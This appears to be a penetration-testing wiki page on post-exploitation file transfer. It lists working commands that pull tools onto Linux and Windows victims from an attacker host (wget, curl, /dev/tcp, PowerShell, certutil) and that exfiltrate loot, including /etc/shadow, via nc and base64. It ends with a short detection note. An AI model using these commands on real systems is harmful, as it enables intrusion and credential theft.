File transfer
Once you have a shell on the victim, you almost always need to move files both ways: upload enumeration and privilege-escalation tools, or download loot (hashes, databases, documents). This page collects the most reliable techniques depending on what’s available on each end, for Linux and Windows.
Run a server on the attacker
Section titled “Run a server on the attacker”The usual pattern: you stand up a server on your machine and the victim downloads from it.
# HTTP (the most universal)python3 -m http.server 80
# SMB (handy for Windows; share named "share")impacket-smbserver share $(pwd) -smb2support # see Impacket
# Quick FTPpython3 -m pyftpdlib -p 21 -wDownload on the victim — Linux
Section titled “Download on the victim — Linux”wget http://LHOST/linpeas.sh -O /tmp/linpeas.shcurl http://LHOST/tool -o /tmp/tool# without wget/curl: use /dev/tcp or an interpreterexec 3<>/dev/tcp/LHOST/80; echo -e "GET /tool HTTP/1.0\n" >&3; cat <&3 > toolDownload on the victim — Windows
Section titled “Download on the victim — Windows”# PowerShellpowershell -c "Invoke-WebRequest -Uri http://LHOST/tool.exe -OutFile C:\Windows\Temp\tool.exe"powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/tool.exe','C:\Windows\Temp\tool.exe')"
# certutil (LOLBin, usually allowed)certutil.exe -urlcache -split -f "http://LHOST/tool.exe" C:\Windows\Temp\tool.exe
# SMB: mount the attacker's share and copy/run directlycopy \\LHOST\share\tool.exe C:\Windows\Temp\tool.exeUpload (get files off the victim)
Section titled “Upload (get files off the victim)”# Linux → attacker server accepting POST (uploadserver) or ncnc -lvnp 9001 > loot.tar # on the attackernc LHOST 9001 < /tmp/loot.tar # on the victim
# Base64 over the shell itself for small filesbase64 -w0 /etc/shadow # copy the output and decode on your machineFor small files, base64-encoding and pasting the output over the shell itself is the most robust option when there’s no network channel: base64 -w0 file on the victim, and base64 -d on your machine.
Choosing the technique
Section titled “Choosing the technique”| Situation | Recommended technique |
|---|---|
| Modern Windows, AV present | SMB or certutil; avoid -e on nc |
| Minimal Linux (no wget/curl) | /dev/tcp or base64 over the shell |
| Large file from the victim | nc direct or SMB |
| Small file, no file network | base64 pasted over the shell |
Defensive considerations
Section titled “Defensive considerations”Using LOLBins like certutil for downloads, service processes writing to C:\Windows\Temp, and outbound SMB connections are classic signs of tool transfer. See Detection and Hunting.
See also
Section titled “See also”- Reverse shells · Pivoting · Data exfiltration
- Impacket for the SMB server.